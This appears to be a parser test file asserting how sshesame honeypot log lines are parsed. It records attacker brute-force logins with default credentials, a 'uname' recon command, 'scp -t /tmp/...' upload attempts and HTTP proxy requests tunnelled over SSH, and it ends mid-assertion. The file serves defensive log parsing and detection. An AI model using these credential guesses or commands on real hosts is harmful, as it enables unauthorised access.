results["s01-parse"]["thespad/sshesame-logs"][19].Success == false results["s01-parse"]["thespad/sshesame-logs"][20].Success == false results["s01-parse"]["thespad/sshesame-logs"][21].Success == true results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Parsed["source_ip"] == "165.232.183.156" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Parsed["sshesame_password"] == "xuexiaoman" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Parsed["sshesame_user"] == "xuexiaoman" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Parsed["timestamp"] == "2022/05/06 05:37:28" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] authentication for user \"xuexiaoman\" with password \"xuexiaoman\" accepted" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Meta["source_ip"] == "165.232.183.156" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Meta["target_user"] == "xuexiaoman" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Meta["username"] == "xuexiaoman" results["s01-parse"]["thespad/sshesame-logs"][21].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][22].Success == false results["s01-parse"]["thespad/sshesame-logs"][23].Success == false results["s01-parse"]["thespad/sshesame-logs"][24].Success == true results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Parsed["source_ip"] == "165.232.183.156" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Parsed["sshesame_cmd"] == "uname -s -v -n -r -m" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Parsed["timestamp"] == "2022/05/06 05:37:28" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] [channel 0] command \"uname -s -v -n -r -m\" requested" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Meta["source_ip"] == "165.232.183.156" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Meta["command"] == "uname -s -v -n -r -m" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Meta["log_type"] == "sshesame_cmd" results["s01-parse"]["thespad/sshesame-logs"][24].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][25].Success == false results["s01-parse"]["thespad/sshesame-logs"][26].Success == false results["s01-parse"]["thespad/sshesame-logs"][27].Success == false results["s01-parse"]["thespad/sshesame-logs"][28].Success == true results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Parsed["source_ip"] == "186.78.209.242" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Parsed["sshesame_password"] == "raspberryraspberry993311" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Parsed["sshesame_user"] == "pi" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Parsed["timestamp"] == "2022/05/06 05:40:30" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Parsed["message"] == "2022/05/06 05:40:30 [186.78.209.242:47338] authentication for user \"pi\" with password \"raspberryraspberry993311\" accepted" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Meta["source_ip"] == "186.78.209.242" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Meta["target_user"] == "pi" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Meta["username"] == "pi" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][28].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][29].Success == false results["s01-parse"]["thespad/sshesame-logs"][30].Success == false results["s01-parse"]["thespad/sshesame-logs"][31].Success == false results["s01-parse"]["thespad/sshesame-logs"][32].Success == false results["s01-parse"]["thespad/sshesame-logs"][33].Success == true results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Parsed["source_ip"] == "186.78.209.242" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Parsed["sshesame_cmd"] == "scp -t /tmp/taCiyiIF" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Parsed["timestamp"] == "2022/05/06 05:40:31" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Parsed["message"] == "2022/05/06 05:40:31 [186.78.209.242:47338] [channel 0] command \"scp -t /tmp/taCiyiIF\" requested" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Meta["log_type"] == "sshesame_cmd" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Meta["source_ip"] == "186.78.209.242" results["s01-parse"]["thespad/sshesame-logs"][33].Evt.Meta["command"] == "scp -t /tmp/taCiyiIF" results["s01-parse"]["thespad/sshesame-logs"][34].Success == false results["s01-parse"]["thespad/sshesame-logs"][35].Success == false results["s01-parse"]["thespad/sshesame-logs"][36].Success == false results["s01-parse"]["thespad/sshesame-logs"][37].Success == true results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] authentication for user \"pi\" with password \"raspberry\" accepted" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Parsed["source_ip"] == "186.78.209.242" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Parsed["sshesame_password"] == "raspberry" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Parsed["sshesame_user"] == "pi" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Parsed["timestamp"] == "2022/05/06 05:40:32" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Meta["source_ip"] == "186.78.209.242" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Meta["target_user"] == "pi" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Meta["username"] == "pi" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][37].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][38].Success == false results["s01-parse"]["thespad/sshesame-logs"][39].Success == false results["s01-parse"]["thespad/sshesame-logs"][40].Success == false results["s01-parse"]["thespad/sshesame-logs"][41].Success == false results["s01-parse"]["thespad/sshesame-logs"][42].Success == true results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] [channel 0] command \"scp -t /tmp/taCiyiIF\" requested" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Parsed["source_ip"] == "186.78.209.242" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Parsed["sshesame_cmd"] == "scp -t /tmp/taCiyiIF" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Parsed["timestamp"] == "2022/05/06 05:40:32" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Meta["source_ip"] == "186.78.209.242" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Meta["command"] == "scp -t /tmp/taCiyiIF" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][42].Evt.Meta["log_type"] == "sshesame_cmd" results["s01-parse"]["thespad/sshesame-logs"][43].Success == false results["s01-parse"]["thespad/sshesame-logs"][44].Success == false results["s01-parse"]["thespad/sshesame-logs"][45].Success == false results["s01-parse"]["thespad/sshesame-logs"][46].Success == true results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Parsed["message"] == "2022/05/06 05:48:16 [190.2.139.67:7117] [channel 76] input: \"GET /?requestid=78679 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Parsed["sshesame_input"] == "GET /?requestid=78679 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Parsed["timestamp"] == "2022/05/06 05:48:16" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Meta["input"] == "GET /?requestid=78679 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][46].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][47].Success == false results["s01-parse"]["thespad/sshesame-logs"][48].Success == false results["s01-parse"]["thespad/sshesame-logs"][49].Success == true results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Parsed["sshesame_input"] == "GET /?requestid=16383 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Parsed["timestamp"] == "2022/05/06 06:08:09" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Parsed["message"] == "2022/05/06 06:08:09 [190.2.139.67:7117] [channel 92] input: \"GET /?requestid=16383 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Meta["input"] == "GET /?requestid=16383 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][49].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][50].Success == false results["s01-parse"]["thespad/sshesame-logs"][51].Success == false results["s01-parse"]["thespad/sshesame-logs"][52].Success == true results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Parsed["sshesame_input"] == "GET /?requestid=34743 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Parsed["timestamp"] == "2022/05/06 06:12:22" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Parsed["message"] == "2022/05/06 06:12:22 [190.2.139.67:58629] [channel 109] input: \"GET /?requestid=34743 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][52].Evt.Meta["input"] == "GET /?requestid=34743 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][53].Success == false results["s01-parse"]["thespad/sshesame-logs"][54].Success == false results["s01-parse"]["thespad/sshesame-logs"][55].Success == true results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Parsed["timestamp"] == "2022/05/06 06:40:52" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Parsed["message"] == "2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][55].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][56].Success == true results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Parsed["message"] == "2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Parsed["timestamp"] == "2022/05/06 06:40:52" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][56].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][57].Success == false results["s01-parse"]["thespad/sshesame-logs"][58].Success == false results["s01-parse"]["thespad/sshesame-logs"][59].Success == true results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Parsed["source_ip"] == "111.70.9.198" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Parsed["sshesame_password"] == "1" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Parsed["sshesame_user"] == "default" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Parsed["timestamp"] == "2022/05/06 06:41:29" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Parsed["message"] == "2022/05/06 06:41:29 [111.70.9.198:39673] authentication for user \"default\" with password \"1\" accepted" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Meta["source_ip"] == "111.70.9.198" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Meta["target_user"] == "default" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Meta["username"] == "default" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][59].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][60].Success == false results["s01-parse"]["thespad/sshesame-logs"][61].Success == false results["s01-parse"]["thespad/sshesame-logs"][62].Success == false results["s01-parse"]["thespad/sshesame-logs"][63].Success == false results["s01-parse"]["thespad/sshesame-logs"][64].Success == false results["s01-parse"]["thespad/sshesame-logs"][65].Success == false results["s01-parse"]["thespad/sshesame-logs"][66].Success == true results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Parsed["timestamp"] == "2022/05/06 06:43:10" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][66].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][67].Success == false results["s01-parse"]["thespad/sshesame-logs"][68].Success == false results["s01-parse"]["thespad/sshesame-logs"][69].Success == true results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Parsed["timestamp"] == "2022/05/06 06:43:10" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][69].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][70].Success == false results["s01-parse"]["thespad/sshesame-logs"][71].Success == false results["s01-parse"]["thespad/sshesame-logs"][72].Success == true results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Parsed["source_ip"] == "190.189.12.92" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Parsed["sshesame_password"] == "arjun123" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Parsed["sshesame_user"] == "arjun" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Parsed["timestamp"] == "2022/05/06 07:05:23" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Parsed["message"] == "2022/05/06 07:05:23 [190.189.12.92:60614] authentication for user \"arjun\" with password \"arjun123\" accepted" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Meta["source_ip"] == "190.189.12.92" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Meta["target_user"] == "arjun" results["s01-parse"]["thespad/sshesame-logs"][72].Evt.Meta["username"] == "arjun" results["s01-parse"]["thespad/sshesame-logs"][73].Success == false results["s01-parse"]["thespad/sshesame-logs"][74].Success == true results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Parsed["message"] == "2022/05/06 07:05:25 [190.189.12.92:32868] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Parsed["source_ip"] == "190.189.12.92" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Parsed["timestamp"] == "2022/05/06 07:05:25" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Meta["source_ip"] == "190.189.12.92" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][74].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][75].Success == false results["s01-parse"]["thespad/sshesame-logs"][76].Success == false results["s01-parse"]["thespad/sshesame-logs"][77].Success == false results["s01-parse"]["thespad/sshesame-logs"][78].Success == false results["s01-parse"]["thespad/sshesame-logs"][79].Success == false results["s01-parse"]["thespad/sshesame-logs"][80].Success == false results["s01-parse"]["thespad/sshesame-logs"][81].Success == true results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Parsed["timestamp"] == "2022/05/06 07:45:57" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Parsed["message"] == "2022/05/06 07:45:57 [190.2.139.67:58629] [channel 111] input: \"GET /?requestid=97339 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Parsed["sshesame_input"] == "GET /?requestid=97339 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Meta["input"] == "GET /?requestid=97339 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][81].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][82].Success == false results["s01-parse"]["thespad/sshesame-logs"][83].Success == false results["s01-parse"]["thespad/sshesame-logs"][84].Success == true results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Parsed["sshesame_input"] == "GET /?requestid=32137 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Parsed["timestamp"] == "2022/05/06 07:51:27" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Parsed["message"] == "2022/05/06 07:51:27 [190.2.139.67:7117] [channel 104] input: \"GET /?requestid=32137 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][84].Evt.Meta["input"] == 